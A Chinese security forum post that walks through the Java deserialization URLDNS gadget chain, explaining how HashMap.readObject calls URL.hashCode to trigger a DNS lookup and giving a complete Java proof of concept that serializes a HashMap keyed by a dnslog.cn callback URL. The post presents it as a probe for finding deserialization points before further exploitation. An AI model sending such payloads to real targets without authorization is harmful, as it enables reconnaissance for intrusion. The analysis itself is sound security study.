Java反序列化漏洞-URLDNS链分析

打印 上一主题 下一主题

主题 907|帖子 907|积分 2721

目录

一、前置知识

菜鸟教程 Java 序列化
Java安全-反射
URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么证明该处存在反序列化数据的行为。然后就可以进一步尝试其他反序列化漏洞了。
反射

下面是两个本文中要用到的反射方法:
反射获取类对象:
  1. Student s = new Student();
  2. //方法1
  3. Class clazz = s.getClass();
  4. //方法2
  5. Class clazz2 = Student.class;
复制代码
反射修改私有成员变量:
  1. Field name = clazz.getDeclaredField("name");
  2. name.setAccessible(true);
  3. name.set(s,"zzy");
复制代码
二、分析

1. URL

URL.class关键代码
  1. public final class URL implements java.io.Serializable {
  2.     private int hashCode = -1;
  3.     public synchronized int hashCode() {
  4.         if (hashCode != -1)
  5.             return hashCode;
  6.         hashCode = handler.hashCode(this);
  7.         return hashCode;
  8.     }
  9. }
复制代码
首先看,URL类中有个hashCode方法,他会调用URLStreamHandler类的hashCode方法,URLStreamHandler的hashCode方法里面有个getHostAddress方法,它又会调用InetAddress下面这行代码,发起DNS请求。
  1. addresses = nameService.lookupAllHostAddr(host);
复制代码
总而言之,记住调用URL类的hashCode方法就会发起DNS请求就可以了,域名是通过构造方法传入的。
写一下代码来看看能不能实现DNS请求
  1. package com.learn;
  2. import java.net.MalformedURLException;
  3. import java.net.URL;
  4. public class Blog {
  5.     public static void main(String[] args) throws MalformedURLException {
  6.         URL url = new URL("https://test.wc5uoi.dnslog.cn");
  7.         url.hashCode();
  8.     }
  9. }
复制代码

可以看到成功发起了DNS请求

我们最终要的效果是在反序列化的过程中发起DNS请求,那么需要在readObject中有hashCode方法,或者在readObject中有的方法调用了URL类的hashCode方法
URL类中的readObject方法

URL类自身的readObject方法有点没有头绪,我们还是来找找其他类的readObject方法吧
2. HashMap

可以看到HashMap有一个hash方法调用了hashCode方法
  1. static final int hash(Object key) {
  2.     int h;
  3.     return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  4. }
复制代码
右键hash方法,选择查找用法,可以看到HashMap的readObject方法使用了hash方法,readObject不正好是反序列化的入口点吗,那可太好了

在readObject中key是从输入流中读取的。具体来说,在循环中,通过调用s.readObject()方法来读取一个对象,并将其强制转换为K类型,即键的类型。
所以key的值是从序列化的HashMap对象获得的,在这里我们可以把key的值设成URL对象,那么在hash方法中就会调用URL的hashCode方法,进而完成DNS解析。
试着写一下代码
  1. package com.learn;
  2. import java.io.*;
  3. import java.net.URL;
  4. import java.util.HashMap;
  5. public class Blog {
  6.     public static void main(String[] args) throws IOException, ClassNotFoundException {
  7.         URL url = new URL("https://test.9oeary.dnslog.cn");
  8.         HashMap<URL, String> hashMap = new HashMap<URL, String>();
  9.         hashMap.put(url, "123");
  10.         serial(hashMap);
  11.         unserial();
  12.     }
  13.     public static void serial(Object obj) throws IOException {
  14.         //Serialize
  15.         ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  16.         objectOut.writeObject(obj);
  17.         objectOut.close();
  18.     }
  19.     public static void unserial() throws IOException, ClassNotFoundException {
  20.         //UnSerialize
  21.         ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
  22.         Object result = objIn.readObject();
  23.         System.out.println(result.toString());
  24.         objIn.close();
  25.     }
  26. }
复制代码
成功完成DNS请求


虽然这里成功发起dns请求了,但是把序列化和反序列化代码注释掉,他还是发起了dns请求

这是为什么呢?
3. 解决一些问题

通过调试看到,HashMap在put的时候就会调用hash方法

所以程序在序列化前就会发起dns请求,那么怎么才能在序列化前不触发dns请求呢?
继续跟进程序,这是URL的hashCode方法:
  1. public synchronized int hashCode() {
  2.     if (hashCode != -1)
  3.         return hashCode;
  4.     hashCode = handler.hashCode(this);
  5.     return hashCode;
  6. }
复制代码
可以看到如果hashCode变量不是-1的话,那么就会return,不会再执行handler.hashCode,这样就不会发起dns请求
继续跟进,发现hashCode在定义时的初始值就是-1
  1. private int hashCode = -1;
复制代码
反射修改字段值

由于hashCode是私有变量,无法直接修改,所以这里用反射来修改成员变量的值
  1. Field hashCodeField = URL.class.getDeclaredField("hashCode");
  2. hashCodeField.setAccessible(true);
  3. hashCodeField.set(url, 1);
复制代码
由于这里把hashCode改为1了,在put后还需要把它改回-1,让程序在反序列化还会发起dns请求
  1. //将hashCode改为 1Field hashCodeField = URL.class.getDeclaredField("hashCode");
  2. hashCodeField.setAccessible(true);
  3. hashCodeField.set(url, 1);hashMap.put(url, "123");//将hashCode改回 -1hashCodeField.set(url, -1);
复制代码
三、POC
  1. package com.learn;
  2. import java.io.*;
  3. import java.lang.reflect.Field;
  4. import java.net.URL;
  5. import java.util.HashMap;
  6. public class Blog {
  7.     public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  8.         URL url = new URL("https://test.0x044e.dnslog.cn");
  9.         HashMap<URL, String> hashMap = new HashMap<URL, String>();
  10.         //将hashCode改为 1
  11.         Field hashCodeField = URL.class.getDeclaredField("hashCode");
  12.         hashCodeField.setAccessible(true);
  13.         hashCodeField.set(url, 1);
  14.         hashMap.put(url, "随便输入点东西");
  15.         //将hashCode改回 -1
  16.         hashCodeField.set(url, -1);
  17.         serial(hashMap);
  18.         unserial();
  19.     }
  20.     public static void serial(Object obj) throws IOException {
  21.         //Serialize
  22.         ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  23.         objectOut.writeObject(obj);
  24.         objectOut.close();
  25.     }
  26.     public static void unserial() throws IOException, ClassNotFoundException {
  27.         //UnSerialize
  28.         ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
  29.         Object result = objIn.readObject();
  30.         System.out.println(result.toString());
  31.         objIn.close();
  32.     }
  33. }
复制代码

到此poc已构造完毕,把序列化的数据发送到可能存在反序列化时的功能点上,如果dns请求成功,那么就代表这个功能点存在反序列化,之后可以进一步利用其他的反序列化漏洞来进行测试

四、利用链
  1. HashMap.readObject()
  2.     HashMap.hash()
  3.         URL.hashCode()
  4.             URLStreamHandler.hashCode()
  5.                 URLStreamHandler.getHostAddress()
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用户云卷云舒

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表